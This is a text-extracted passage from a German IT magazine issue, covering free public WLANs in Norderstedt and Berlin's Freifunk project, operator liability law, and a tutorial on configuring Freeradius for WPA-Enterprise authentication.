Eine Ausnahme des nahezu WLANfreien<br />
Status Quo gibt es im Norden<br />
Deutschlands. In der Stadt Norderstedt<br />
nahe Hamburg hat der örtliche Breitbandanbieter<br />
Wilhelm.Tel, eine Tochter<br />
der ortsansässigen Stadtwerke,<br />
Nägel mit Köpfen gemacht. Erst hat<br />
das Unternehmen in Eigenregie über<br />
90 Prozent der Haushalte mit einem<br />
Abbildung 1: Wilhelm.Tel stellt seit letzten Sommer<br />
im Projekt MobyKlick der Öffentlichkeit in Norderstedt<br />
ein kostenloses WLAN zur Verfügung.<br />
Jan Rähm
34<br />
Wireless Security<br />
Öffentliche WLANs<br />
http://www.olsrexperiment.de / Wikimedia<br />
Abbildung 2: Selbsthilfe für Betroffene mangelnden DSL-Ausbaus in Ost-Berlin: Die Freifunk-Initiative<br />
erschließt per WLAN das Breitbandnetz.<br />
breitbandigen Internetzugang mit bis<br />
zu 100 Mbit/s versorgt. Dann nahm es<br />
den öffentlichen Raum in Angriff: Im<br />
Juni letzten Jahres gab Wilhelm.Tel<br />
den Startschuss für das Norderstedter<br />
WLAN namens MobyKlick [1]. Abbildung<br />
1 zeigt einen Funkmast mit WLAN-<br />
Hotspots.<br />
Mit MobyKlick gelangen Norderstedts<br />
Bürger und Besucher über zwei Modelle<br />
kostenlos ins Internet. Das eine gilt für<br />
die Nutzer des lokalen Breitbandanbieters,<br />
laut Aussage des Unternehmens<br />
fast alle Bürger der Stadt. Sie bekommen<br />
die MobyKlick-Zugangsdaten mit<br />
dem bestehenden Vertrag und loggen<br />
sich mit ihnen ins neue drahtlose Netzwerk<br />
ein. Das zweite Modell richtet<br />
sich an Besucher von Norderstedt. Sie<br />
erhalten per Gutscheinkarte oder SMS<br />
einen Zugang für 24 Stunden – eine Verlängerung<br />
ist möglich. Beide Gruppen<br />
nutzen das Public-WLAN kostenlos und<br />
ohne Volumenbegrenzung.<br />
Zell-Sprung<br />
Das MobyKlick-Netz weist eine vergleichsweise<br />
hohe Bandbreite bis<br />
zu 100 MBit pro Sekunde auf. Diese<br />
Geschwindigkeit realisieren die Betreiber<br />
durch eine direkte Anbindung der<br />
Accesspoints ans Glasfasernetz. Der<br />
technische Planer Malte Kock scherzt<br />
im Gespräch mit dem ADMIN-Magazin:<br />
„Egal wo Sie hier bei uns buddeln, Sie<br />
treffen immer auf eine Glasfaser.“<br />
Eine zweite Besonderheit des Netzes:<br />
Es ist Roaming-fähig. Das bedeutet,<br />
dass die Nutzer nahtlos und unterbrechungsfrei<br />
zwischen den Funkzellen<br />
wechseln. Das macht ein Controller<br />
möglich, der alle Knoten steuert, also<br />
alle Accesspoints in Norderstedt zentral<br />
verwaltet. Malte Kock erklärt: „Das<br />
heißt, ich habe einen zentralen Punkt,<br />
der über alle Geräte Bescheid weiß.<br />
Im Hintergrund werden Messungen<br />
vorgenommen. Wenn ein Gerät aus einem<br />
Bereich hinausläuft und von einer<br />
anderen Antenne übernommen wird,<br />
sorgt der Controller dafür, dass dieser<br />
Client vom ersten Accesspoint disconnected<br />
und vom nächsten Accesspoint<br />
übernommen wird.“ Wenn das WLAN in<br />
einigen Monaten flächendeckend fertiggestellt<br />
ist, soll es in Norderstedt sogar<br />
möglich sein, unterbrechungsfreie<br />
IP-Telefonate übers WLAN zu führen<br />
oder Video-Streams anzusehen.<br />
Als dritte Besonderheit haben Malte<br />
Kock und seine Mitarbeiter besondere<br />
Maßnahmen zum Schutz der Datensicherheit<br />
implementiert. Sie teilen das<br />
Netz von MobyKlick in zwei Bereiche:<br />
Einer arbeitet verschlüsselt, der andere<br />
n Störerhaftung<br />
Als Störerhaftung bezeichnen Juristen im Falle eines Internetzugangs<br />
den Umstand, dass der Betreiber einer Kommunikationseinrichtung –<br />
wie eines öffentlich zugänglichen drahtlosen Netzwerks – für eventuelle<br />
Rechtsverstöße sogenannter Störer haftet. Nutzt also ein Anwender das<br />
WLAN eines anderen zum Beispiel für das Bereitstellen urheberrechtlich<br />
geschützten Materials auf Tauschbörsen, kann der Betreiber des Netzes<br />
dafür belangt werden. Im Mai 2010 schränkte der Bundesgerichtshof in<br />
einer Entscheidung die Haftung auf Abmahnkosten ein und hat damit<br />
immerhin die Gefahr exorbitanter Schadenersatzansprüche weitgehend<br />
gebannt.<br />
Besonders gefährdet sind Betreiber offener Netze. Wer sein Netzwerk<br />
mit Zugangsbeschränkungen von der Außenwelt abschottet, muss sich<br />
nur noch um die Zugangsberechtigten sorgen und diese gegebenenfalls<br />
über den rechtskonformen Umgang mit dem Netzwerk belehren. Laut<br />
mancher Gerichtsurteile bewahren solche Maßnahmen Anschlussinhaber<br />
vor juristischen Folgen. Doch nicht alle Gerichte entscheiden in die<br />
gleiche Richtung. Deshalb fordern nicht nur Juristen seit langem, dass<br />
der Gesetzgeber den Betrieb eines freien WLANs endlich auf eine solide<br />
Grundlage stellt.<br />
Die letzte Regierung hat den Zugang zu freien Netzen nicht reguliert.<br />
CDU/CSU und SPD haben jedoch im Koalitionsvertrag vereinbart, „die<br />
gesetzlichen Grundlagen für die Nutzung dieser offenen Netze und<br />
deren Anbieter“ zu schaffen. Man wolle „die Potenziale von lokalen<br />
Funknetzen (WLAN) als Zugang zum Internet im öffentlichen Raum“<br />
ausschöpfen.<br />
Weiter heißt es in dem Papier: „Rechtssicherheit für WLAN-Betreiber ist<br />
dringend geboten, etwa durch Klarstellung der Haftungsregelungen“.<br />
Wie viel von diesen Worten im Vertrag zu halten ist, wird sich zeigen.<br />
Fakt ist, dass die Einrichtung freier WLANs oftmals scheitert, weil beispielsweise<br />
Kommunen Angst vor Abmahnungen haben, wie der Deutsche<br />
Städte- und Gemeindebund im Gespräch mit dem ADMIN-Magazin<br />
bestätigt.<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Wireless Securty<br />
Öffentliche WLANs<br />
35<br />
Abbildung 3: In Mesh-Netzen kommunizieren<br />
die WLAN-Router miteinander und<br />
leiten die Daten über die jeweils beste<br />
Route.<br />
unverschlüsselt. Der ungeschützte Teil<br />
dient zum spontanen Surfen – zum<br />
Beispiel auf dem Portal des MobyKlick-<br />
Netzes. Dort bekommen Besucher unter<br />
anderem Zugangsdaten, mit denen<br />
sie in den verschlüsselten Teil wechseln<br />
können.<br />
Im unverschlüsselten Teil des Netzes<br />
soll kein Nutzer für den anderen<br />
sichtbar sein. Malte Kock erklärt den<br />
erhöhten Aufwand wie folgt: „Wir<br />
versuchen so weit es geht, den Kommunikationsweg<br />
von Ende zu Ende zu<br />
verschlüsseln, um von vornherein die<br />
Angriffsfläche für Phishing-Angriffe einzudämmen,<br />
die versuchen, aus der Luft<br />
Daten abzugreifen und Kundendaten<br />
zu kompromittieren.“<br />
Neben der Datensicherheit steht die<br />
Datensparsamkeit im selbst auferlegten<br />
Pflichtenbuch des Norderstedter<br />
Netzbetreibers. Gelegenheitsnutzer<br />
brauchen für den Zugang zum drahtlosen<br />
Netz nur ihre Handynummer preiszugeben.<br />
Die Daten der Wilhelm.Tel-<br />
Kunden liegen im Zweifel sowieso vor,<br />
erklärt Geschäftsführer Theo Weirich<br />
dem ADMIN-Magazin. Der Störhaftung<br />
sei damit Genüge getan: „In den zwei<br />
Jahren, in denen wir das aufgebaut und<br />
getestet haben, hat sich die Gesetzeslage<br />
zumindest was Vorratsdatenspeicherung<br />
und entsprechende Registrierung<br />
von Nutzerdaten angeht, noch<br />
nicht gefestigt. Wir brauchen aber eine<br />
gewisse Störerhaftung. Da wollen wir<br />
entgegenwirken, indem wir die Tickets<br />
dann über SMS zustellen.“ Dank dieser<br />
SMS habe man dann auch die Telefonnummer<br />
der MobyKlick-Benutzer und<br />
könne sie darüber nötigenfalls mithilfe<br />
einer richterlichen Anordnung identifizieren.<br />
Rettungsanker für Berlin<br />
Auch für die Aktivisten des Projekts<br />
Freifunk [2] in Berlin war die Störerhaftung<br />
ein Thema. Allerdings führten<br />
zunächst ganz andere Probleme zur<br />
Gründung der Initiative. Eigentlich<br />
legte eine technische Fehlplanung den<br />
Grundstein für den Aufbau eines der<br />
ersten großen öffentlich nutzbaren<br />
WLANs: In der Zeit zwischen deutscher<br />
Wiedervereinigung 1990 und dem<br />
Jahrtausendwechsel investierten Bundespost<br />
und ihr Nachfolger Deutsche<br />
Telekom massiv in den Ausbau der<br />
Telekommunikationsnetze, vor allem<br />
in Ostdeutschland. Dabei setzte man<br />
auf die OPAL-Technik, eine glasfaserbasierte<br />
Kommunikationsinfrastruktur,<br />
die sich zwar gut für die Telekommunikation,<br />
aber schlecht für Datendienste<br />
eignete. Gar nicht zu gebrauchen war<br />
OPAL für die DSL-Technologie.<br />
So wurde die Technik, die Deutschlands<br />
Osten zukunftsfähig machen<br />
sollte, zu einer massiven Bremse des<br />
Breitbandausbaus. Das betraf auch den<br />
Osten Berlins, in dem die Netzwerk-<br />
Programmiererin Elektra Wagenrad<br />
schon damals wohnte. Sie behalf sich<br />
wie andere Telekom-Kunden mit ISDN-<br />
Flatrates. So kam sie dank ISDN-Kanalbündelung<br />
immerhin mit 128 Kilobit<br />
pro Sekunde ins Netz.<br />
Dann stampfte die Telekom die ISDN-<br />
Pauschaltarife jedoch ein. Elektra<br />
Wagenrad: „Damit waren wir hier quasi<br />
digital abgeschnitten.“ Das Ende der<br />
ISDN-Flatrates geriet aber auch zur<br />
Geburtsstunde der Freifunk-Bewegung:<br />
„So entstand die Idee, Freifunknetze<br />
aufzubauen, schon alleine um die<br />
Breitbandversorgung für uns selbst<br />
sicherzustellen“ erzählt Elektra Wagenrad.<br />
„Wir haben also erstmal WLAN-<br />
Funkstrecken aufgebaut und uns aus<br />
den Kiezen, die so glücklich waren,<br />
A-DSL zu bekommen, die Breitbandgeschwindigkeit<br />
zu holen.“ Abbildung 2<br />
zeigt den heutigen Stand der Freifunk-<br />
Verbreitung.<br />
Seit über zehn Jahren bauen die<br />
Freiwilligen des Projekts Freifunk<br />
öffentliche WLANs auf. Neben der<br />
erwähnten Not bildet auch die Lust am<br />
Experimentieren und Programmieren<br />
ein Motiv. Die Freifunker werden dabei<br />
auch von den Bezirken unterstützt:<br />
mit Standorten für die Technik<br />
und teilweise mit ein wenig Geld.<br />
Inzwischen existieren Freifunk-Netze in<br />
der ganzen Bundesrepublik und auch<br />
über deren Grenzen hinaus hat sich die<br />
Idee verbreitet.<br />
Breitband ohne Zensur und<br />
Spionage<br />
Die kostenlose Internetversorgung<br />
bildet allerdings nur einen Faktor des<br />
Erfolgs von Freifunk, beschreibt Elektra<br />
Wagenrad: „Mittlerweile gibt es immer<br />
mehr Leute, die sich dafür begeistern<br />
– gerade im Kontext von Zensur und<br />
Überwachung.“ Aus diesem Grund<br />
entstünden aktuell immer mehr solche<br />
Netze, obwohl man sie nur der Bandbreite<br />
wegen zumindest in den Großstädten<br />
immer weniger bräuchte, sagt<br />
die Entwicklerin.<br />
In Sachen Datenschutz und Schutz der<br />
Privatsphäre hilft dem Freifunk-Projekt<br />
eine Technik, mit deren Hilfe es zunächst<br />
auch die Störerhaftung umging:<br />
Mesh-Netzwerke (Abbildung 3). Die so<br />
verbunden Router leiten ihre Daten<br />
über ein VPN nach Schweden und erst<br />
von dort aus ins weltweite Netz. Damit<br />
unterlief Freifunk anfangs auch die<br />
Störerhaftung; inzwischen verlässt sich<br />
die Initiative ohnehin auf das Provider-<br />
Privileg, das Internet-Anbieter von der<br />
rechtlichen Unsicherheit ausnimmt.<br />
Weiterhin hoffen die Aktivisten aber,<br />
der vermuteten Schnüffelei an deutschen<br />
Netzknoten zu entgehen. Ob die<br />
Technik diese Hoffnung erfüllt, ist allerdings<br />
angesichts der Enthüllungen des<br />
Ex-Geheimdienstlers Edward Snowden<br />
und der sich abzeichnenden weltweiten<br />
Überwachung durch verschiedene<br />
Geheimdienste fraglich. (csc) n<br />
n Info<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31652<br />
[1] WLAN in Norderstedt:<br />
[http:// www. mobyklick. de/]<br />
[2] Freifunk: [http:// freifunk. net/]<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
36<br />
Wireless Security<br />
Freeradius<br />
Tyler Olson, 123RF<br />
Copyright, 123RF<br />
Freeradius für den WLAN-Hotspot<br />
Großer Radius<br />
Firmen können es sich kaum noch erlauben, auf ein drahtloses Netzwerk zu verzichten. Die benutzerspezifische<br />
Zugangskontrolle funktioniert über WPA-Enterprise – das verbreitete Open-Source-Tool Freeradius<br />
bildet das passende Backend. Carsten Schnober<br />
„Wie heißt das WLAN-Passwort?“ –<br />
„Steht auf dem Zettel unter meiner<br />
Tastatur!“ Das ist der Albtraum für<br />
jeden Admin, denn den Zugang ins<br />
Firmennetz über so ein gemeinsames<br />
Passwort zu kontrollieren, wird schon<br />
bei einer überschaubaren Anzahl von<br />
Mitarbeitern unmöglich.<br />
Radius<br />
Die Lösung trägt den Namen IEEE<br />
802.1X, der für einen Standardmechanismus<br />
für die Netzwerkauthentifizierung<br />
steht. Für Firmen ausgerichtete<br />
WLAN-Hotspots bieten dieses<br />
Anmeldeverfahren üblicherweise mit<br />
der Bezeichnung WPA-Enterprise als<br />
Alternative zu WPA-Personal an (siehe<br />
Abbildung 1).<br />
Die User-Datenbank verwaltet der Hotspot<br />
in den meisten Fällen nicht selbst.<br />
Stattdessen befragt er einen Radius-<br />
Server im selben Netzwerk (Abbildung<br />
2): An dieser Stelle findet die zentrale<br />
Nutzerverwaltung statt. Kommt ein<br />
Mitarbeiter hinzu, trägt er ihn in den<br />
Radius-Server ein und der WLAN-Zugriff<br />
ist inklusive.<br />
Die Auflösung des Akronyms Radius<br />
– Remote Authentication Dial-In User<br />
Service – zeigt, dass sich das System für<br />
größere Aufgaben als die Verwaltung<br />
von WLAN-Usern eignet. Es kommt<br />
auch bei Internet-Anbietern zum Einsatz,<br />
die mit Radius-Servern ihre häufig<br />
sehr zahlreichen Benutzer verwalten.<br />
Radius setzt das sogenannte AAA-<br />
Konzept um: Authentifizierung, Autorisierung,<br />
Accounting. Für den Anwendungsfall<br />
der Zugangskontrolle zu<br />
einem WLAN spielen die ersten beiden<br />
Komponenten die Hauptrolle. Bei der<br />
Authentifizierung überprüft der Radius-<br />
Server Usernamen und Passwort, im<br />
Rahmen der Autorisierung legt er optionale<br />
Zugangsparameter fest, etwa<br />
die erlaubte Nutzungsdauer oder ‐zeit.<br />
Beim Accounting geht es in erster Linie<br />
um die typischen Anforderungen von<br />
Internet-Providern, vor allem die detaillierte<br />
Protokollierung der übertragenen<br />
Daten für statistische Auswertungen<br />
und Abrechnungen.<br />
Freeradius<br />
Freeradius [1] ist der am weitesten<br />
verbreitete Radius-Server. Die freie<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Wireless Security<br />
Freeradius<br />
37<br />
Software bietet mit einer Vielzahl von<br />
Modulen und Konfigurationsmöglichkeiten<br />
eine enorme Flexibilität. Für Linux,<br />
Mac OS X und BSD-Varianten sowie<br />
Windows [2] stehen fertige Pakete zur<br />
Verfügung.<br />
Die Freeradius-Entwickler verfolgen die<br />
Strategie, das Programm mit einer allgemein<br />
sinnvollen Konfiguration auszuliefern.<br />
Anpassungen an die eigene<br />
Umgebung bleiben unvermeidbar, aber<br />
die in vielen realen Szenarien direkt<br />
verwendbaren Voreinstellungen helfen<br />
bei der Orientierung in den zahlreichen<br />
Einstellmöglichkeiten.<br />
Der Start erfolgt unter Linux typischerweise<br />
als Service mit »service freeradius<br />
start« oder mit dem Befehl »radiusd«<br />
oder auch »freeradius« – je nach<br />
Distribution. Dann hört der Freeradius-<br />
Server gemäß der mitgelieferten Standardkonfiguration<br />
auf alle Anfragen<br />
und die Radius-Standard-Ports 1812 für<br />
die Authentifizierung sowie 1813 fürs<br />
Accounting, beide normalerweise definiert<br />
in »/etc/services«. Für Fehlersuche<br />
und zum Testen empfiehlt sich zudem<br />
der Start von Freeradius mit »freeradius<br />
‐X«, das alle Debugging-Meldungen<br />
ausgibt.<br />
Weitere Netzwerkparameter sowie<br />
lokale Einstellungen zu Logging, Threading,<br />
Sicherheit und den verwendeten<br />
Modulen befinden sich in der Datei<br />
»radiusd.conf« im Freeradius-Konfigurationsverzeichnis,<br />
unter Linux meist »/<br />
etc/freeradius/«.<br />
»radiusd.conf« sammelt die meisten<br />
Optionen innerhalb von »listen«-Blöcken.<br />
Jeder »listen«-Block steht für eine<br />
virtuelle Server-Instanz, die Voreinstellung<br />
enthält zwei davon: einen für den<br />
Authentifizierungs- und einen für den<br />
Accounting-Server. Sie verwenden die<br />
genannten Standardports und nehmen<br />
Verbindungen von allen Adressen entgegen<br />
(»ipaddr=*«). Bei den virtuellen<br />
Servern handelt es sich im Freeradius-<br />
Konzept um voneinander unabhängige<br />
Instanzen. Sie lassen sich einzeln beispielsweise<br />
spezifisch für jeden Radius-<br />
Client konfigurieren.<br />
Benutzer<br />
Die mitgelieferte Freeradius-Konfiguration<br />
liefert zahlreiche Beispielnutzer-<br />
einträge mit, die allerdings<br />
mit Kommentarzeichen<br />
deaktiviert<br />
sind. Zuständig ist für<br />
die Benutzerkonfiguration<br />
die Datei »users«.<br />
Im einfachsten Fall<br />
trägt man dort direkt<br />
einzelne Benutzer ein:<br />
ADMIN Cleartext‐U<br />
Password := "magazin"<br />
Dieser Eintrag weist<br />
dem Benutzer »AD-<br />
MIN« das Attribut<br />
»Cleartext‐Password«<br />
mit dem Wert »magazin«<br />
zu. Freeradius liest<br />
diese Einträge beim<br />
Start. Erfragt nun ein WLAN-Endanwender<br />
beim Hotspot um Nutzungserlaubnis,<br />
gleicht der Radius-Server das vom<br />
Client gesendete Passwort mit diesem<br />
Wert ab und schickt die entsprechende<br />
Antwort. Änderungen in der Benutzerdatenbank<br />
erfordern einen Neustart<br />
des Freeradius-Servers.<br />
Das gesamte Freeradius-Konfigurationsverzeichnis<br />
sollte nur für den dezidierten<br />
Freeradius-Account lesbar sein,<br />
auch um die Benutzerpasswörter nicht<br />
offenzulegen. Wer sie trotzdem nicht im<br />
Klartext in der »users«-Datei speichern<br />
möchte, dem bietet das »rlm_pap«-Modul<br />
verschiedene Algorithmen an, die<br />
einen verschlüsselten Hash des Passworts<br />
verwenden, darunter MD5 und<br />
SHA-1. Man gibt den verwendeten Algorithmus<br />
als Option an und erzeugt den<br />
Abbildung 1: Einige Hotspots erlauben mittels WPA-Enterprise eine<br />
benutzerspezifische Konfiguration.<br />
Hash beispielsweise mit »sha1sum« für<br />
SHA-1:<br />
echo ‐n "magazin" | sha1sum<br />
Der folgende Eintrag in der »users«-<br />
Datei ersetzt den obigen:<br />
ADMIN SHA‐Password := U<br />
"e3d5a52968cef277f476a78124d8e05f1d558953"<br />
Der Reihe nach<br />
Freeradius arbeitet die Einträge in der<br />
»users«-Datei von oben nach unten<br />
ab. Bei einem Treffer stoppt es die<br />
Verarbeitung, außer der Parameter<br />
»Fall‐Through = Yes« ist gesetzt. Dieser<br />
steht wie andere zusätzliche Optionen<br />
in der Zeile unter der Benutzerdeklaration,<br />
eingerückt mit einem Tabulator.<br />
Abbildung 2: Ein Radius-Server liefert dem WLAN-Hotspot die Benutzerdaten.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
38<br />
Wireless Security<br />
Freeradius<br />
Abbildung 3: Das Programm »radtest« hilft beim Debugging eines<br />
Radius-Servers.<br />
Die »users«-Datei kennt zahlreiche weitere<br />
Benutzeroptionen, beispielsweise<br />
die Uhrzeit, zu der sich ein User authentifizieren<br />
kann (»Login‐Time«). Der<br />
Eintrag »Reply‐Message« definiert eine<br />
benutzerspezifische Antwortmeldung,<br />
die beispielsweise eine Ablehnung<br />
begründet. Insgesamt stehen mehrere<br />
Hundert Optionen zur Verfügung, die<br />
einem Hotspot unter anderem benutzerspezifische<br />
Netzwerkkonfigurationen<br />
vorschlagen; ob er diese umsetzt,<br />
kümmert den Radius-Server jedoch<br />
nicht, das ist Aufgabe des Netzwerkzugangsknotens.<br />
Unter [3] steht die<br />
vollständige Liste der von Freeradius<br />
unterstützten Attribute bereit.<br />
Der Eintrag »DEFAULT« steht für alle<br />
Benutzernamen und dient dazu, allgemeine<br />
Einstellungen vorzugeben.<br />
Das bedeutet auch, dass Freeradius<br />
die Verarbeitung der »users«-Datei abbricht,<br />
wenn es auf einen »DEFAULT«-<br />
Eintrag stößt, wenn dieser nicht mit<br />
»Fall‐Through = Yes« ausgestattet ist.<br />
Radius-Clients<br />
Damit Freeradius den Zugang erlaubt,<br />
muss Freeradius zunächst auch den<br />
Client kennen, der einen User authentifizieren<br />
möchte. Die Konfiguration der<br />
Clients findet in der Datei »clients.conf«<br />
statt, sie enthält die Netzwerkparameter<br />
und Sicherheitseinstellungen der<br />
Network Access Server (NAS); im Beispiel<br />
also etwa ein WLAN-Hotspot.<br />
Das Schlüsselwort »client«, gefolgt<br />
von einem Namen, leitet jede Client-<br />
Konfiguration ein, die Konfiguration<br />
steht dann zwischen geschweiften<br />
Klammern. Voreingestellt ist nur der<br />
Client namens localhost. Er weist alle<br />
Verbindungen zurück, die nicht vom<br />
selben Rechner stammen. Der Name<br />
kann auch als Definition der zugelassenen<br />
Clients dienen, etwa »localhost«<br />
oder »192.168.1.2/32«.<br />
Seit Freeradius-Version<br />
2 ist dies nicht mehr<br />
vorgeschrieben, funktioniert<br />
aber weiterhin.<br />
Ansonsten legen die<br />
»ipaddr« und »netmask«<br />
die für diesen<br />
Client zugelassenen<br />
Netzwerkparameter<br />
fest.<br />
Ein Radius-Server verlangt außerdem<br />
ein Shared Secret vom Client – ein<br />
Passwort, das als Grundlage für die<br />
weitere verschlüsselte Kommunikation<br />
dient. Der voreingestellte localhost-<br />
Client gibt hier »testing123« vor. Die<br />
Konfiguration sieht zusammengefasst<br />
so aus:<br />
client localhost {<br />
ipaddr = 127.0.0.1<br />
secret = testing123<br />
netmask = 32<br />
}<br />
Der optionale Eintrag »netmask« bestimmt<br />
das erlaubte Subnetz. Fehlt er,<br />
steht er auf 32, was genau einem Rechner<br />
entspricht. Alternativ zur IP-Adresse<br />
nimmt der Eintrag »ipaddr« auch einen<br />
Hostnamen entgegen. Allerdings bedeutet<br />
das, dass bei einem Problem<br />
mit dem DNS-Server auch der Radius-<br />
Server ausfällt.<br />
Das in Freeradius enthaltene Tool »radclient«<br />
ermöglicht es, den Zugang von<br />
der Kommandozeile aus zu testen. Mit<br />
der gegebenen Konfiguration gestattet<br />
der Radius-Server das zunächst nur lokal;<br />
Abbildung 3 zeigt die Ausgabe.<br />
Hints und Huntgroups<br />
Zwei weitere Konfigurationsdateien<br />
und Freeradius-Konzepte heißen »huntgroups«<br />
und »hints«. Bei Huntgroups<br />
handelt es sich um Benutzergruppen,<br />
deren Mitglieder über denselben Network<br />
Access Server Zugriff erhalten.<br />
Entsprechend sieht eine einfache Huntgroups-Konfiguration<br />
so aus:<br />
lokal NAS‐IP‐Address == 192.168.1.1<br />
Diese Einstellung ordnet allen Benutzern,<br />
die der Radius-Client (NAS)<br />
mit der IP-Adresse »192.168.1.1« authentifiziert,<br />
der Huntgroup »lokal«<br />
zu. Diese Information lässt sich in der<br />
»users«-Datei verwenden, indem man<br />
über das Attribut »Huntgroup‐Name«<br />
die Zugehörigkeit eines Benutzers abgleicht.<br />
Dies bietet die Möglichkeit, für<br />
einen Benutzer verschiedene Einträge<br />
anzulegen, die je nach verwendetem<br />
NAS aktiv werden. Das ist insbesondere<br />
in Kombination mit dem »DEFAULT«-<br />
User sinnvoll.<br />
Die Hints erlauben die Detailkonfiguration<br />
direkt über die Benutzernamen,<br />
indem der Client situationsabhängige<br />
Präfixe oder Suffixe anhängt. Die mitgelieferte<br />
»hints«-Datei enthält die für<br />
Internet-Anbieter typischen Einstellungen,<br />
die Benutzernamen mit den Endungen<br />
».ppp«, ».slip« und ».cslip« das<br />
entsprechende Protokoll zuweisen. Anschließend<br />
wird die Authentifizierung<br />
mit Passwort mit dem verbleibenden<br />
Benutzernamen fortgeführt, dafür sorgt<br />
der Parameter »Strip‐User‐Name = Yes«.<br />
Der folgende Eintrag führt also zur Authentifierung<br />
eines Benutzers, der sich<br />
als »ADMIN.ppp« meldet. Nachdem ihm<br />
das PPP-Protokoll zugewiesen worden<br />
ist, autorisiert Freeradius ihn dann als<br />
»ADMIN«. Auch hier bietet sich die Kombination<br />
mit »DEFAULT« an:<br />
DEFAULT Suffix == ".ppp",<br />
Strip‐User‐Name = Yes<br />
Hint = "PPP",<br />
Service‐Type = Framed‐User,<br />
Framed‐Protocol = PPP<br />
Benutzerdatenbanken<br />
Freeradius ermöglicht es weiterhin, die<br />
Benutzerdaten in anderen Quellen als<br />
nur in der »users«-Datei zu speichern.<br />
Neben Modulen für verschiedene SQL-<br />
Datenbanken kommen auch Active<br />
Directory Service (ADS) und LDAP in<br />
Frage.<br />
Für MySQL genügt es, die Benutzerdaten<br />
mit denselben Attributen und Werten<br />
in die Datenbank einzutragen wie<br />
in die Benutzerdatei. Die mitgelieferten<br />
SQL-Skripte »admin.sql« und »schema.<br />
sql« im Unterverzeichnis »sql/mysql«<br />
legen Benutzer, Datenbanken und<br />
Schemata an. Für PostgreSQL stehen<br />
passende Pendants bereit.<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Wireless Security<br />
Freeradius<br />
39<br />
Dann aktiviert man in der Datei »radiusd.conf«<br />
den Eintrag »$INCLUDE sql.<br />
conf«, der standardmäßig auskommentiert<br />
ist. In »sql.conf« bietet die Option<br />
»database« die Wahlmöglichkeiten<br />
»mysql«, »mmsql«, »oracle« und »postgresql«.<br />
Nun definieren in derselben<br />
Datei »server«, »login« und »password«<br />
die Zugangsdaten zur Datenbank.<br />
Die angelegte MySQL-Datenbank enthält<br />
die einzelnen Benutzereinträge<br />
in der Tabelle »radcheck«. Die Felder<br />
»username«, »attribute«, »value« und<br />
»op« setzt man beispielsweise auf »AD-<br />
MIN«, »Cleartext‐Password«, »magazin«<br />
und »:=«, um einen Benutzer mit denselben<br />
Attributen anzulegen wie oben<br />
für die »users«-Datei gezeigt.<br />
Die Tabelle »radreply« definiert benutzerspezifische<br />
Antwortmeldungen<br />
sowie Netzwerkeinstellungen. In<br />
»usergroup« werden die Benutzer den<br />
Gruppen zugeordnet. »radgroupreply«<br />
wiederum definiert dazu gruppenspezifische<br />
Antworten [4].<br />
Active Directory<br />
Der Rückgriff auf Benutzerdaten in<br />
einem Active Directory erfolgt mithilfe<br />
des Programms »ntlm_auth« aus dem<br />
Samba-Paket [5]. Der Zugang mit Username,<br />
Domäne und Passwort lässt sich<br />
manuell mit diesem Befehl testen:<br />
ntlm_auth ‐‐request‐nt‐key U<br />
‐‐domain=Domäne ‐‐username=Benutzer U<br />
‐‐password=Passwort<br />
Diese Kommandozeile steht in ähnlicher<br />
Form auch in der Freeradius-Konfigurationsdatei<br />
»modules/ntlm_auth«.<br />
Darin passt man den Pfad für den<br />
Programmaufruf an, etwa zu »/usr/bin/<br />
ntlm_auth«, und die Domäne (Realm)<br />
an die des ADS-Servers. Benutzernamen<br />
und Passwörter stammen direkt<br />
vom anfragenden Client. Abschließend<br />
aktiviert man das Modul in den<br />
Dateien »sites‐enabled/default« und<br />
»sites‐enabled/inner‐tunnel«; der Block<br />
»authenticate« führt die erlaubten<br />
Authentifizierungsmethoden auf, dort<br />
fügt man die Zeile »ntlm_auth« hinzu.<br />
Details zur Konfiguration und Fehlersuche<br />
zu Freeradius und Active Directory<br />
Service zeigt [6].<br />
Tunnel<br />
Die im vorherigen Absatz erwähnte<br />
Modulkonfigurationsdatei »sites‐enabled/inner‐tunnel«<br />
kommt unter<br />
anderem bei der Authentifizierung<br />
mittels WPA-Enterprise zum Tragen.<br />
Der WPA-Enterprise zugrunde liegende<br />
802.1X-Standard definiert nämlich eine<br />
verschlüsselte Verbindung nach dem<br />
EAP-over-LAN-Protokoll (EAPOL), wobei<br />
EAP für »Extensible Authentication Protocol«<br />
steht.<br />
Bei EAPOL erfolgt die Übermittlung<br />
der Benutzerdaten vom Client an den<br />
Zugangsknoten, bei 802.1X der WLAN-<br />
Hotspot, über einen verschlüsselten<br />
Tunnel. Der Zugangsknoten gibt die Anfrage<br />
an den Radius-Server weiter, der<br />
diese nach dem üblichen Prinzip behandelt.<br />
Allerdings liest Freeradius bei<br />
der Verwendung von EAP-Protokollen<br />
eben statt »sites‐enabled/default« die<br />
Liste der Module aus »sites‐enabled/<br />
inner‐tunnel«.<br />
Der Tunnel benötigt weiterhin ein<br />
Verschlüsselungszertifikat. Im Produktivbetrieb<br />
sollte dies von einer vertrauenswürdigen<br />
Stelle signiert werden.<br />
Dem Freeradius-Quellpaket liegt aber<br />
zu Testzwecken ein Demozertifikat bei,<br />
das der Befehl »make« im Unterverzeichnis<br />
»certs« generiert. Allerdings<br />
fehlt das Demo-Zertifikat in den Paketen<br />
der meisten Linux-Distributionen,<br />
da es sich eben nicht um ein signiertes<br />
und damit vertrauenswürdiges Zertifikat<br />
handelt.<br />
Wer die EAPOL-Authentifizierung<br />
ausprobieren möchte, findet dafür<br />
außerdem das Programm »eapol_test«<br />
im WPA-Supplicant-Paket, das die<br />
verschiedenen WPA-Verschlüsselungsmechanismen<br />
zu Test- und Analysezwecken<br />
implementiert. Standardmäßig<br />
wird »eapol_test« allerdings nicht<br />
kompiliert, sondern nur wenn man in<br />
den Quellen die Konfigurationsoption<br />
»CONFIG_EAPOL_TEST=y« aktiviert.<br />
Sie steht auskommentiert in der Datei<br />
»defconfig« im Unterverzeichnis<br />
»wpa_supplicant« des WPA-Supplicant-<br />
Quellpakets; also kopiert man diese<br />
Datei nach »wpa_supplicant/.config«,<br />
entfernt das Kommentarzeichen in<br />
der ».config«-Datei und kompiliert mit<br />
»make eapol_test«.<br />
Für den Test von WPA-Enterprise eignet<br />
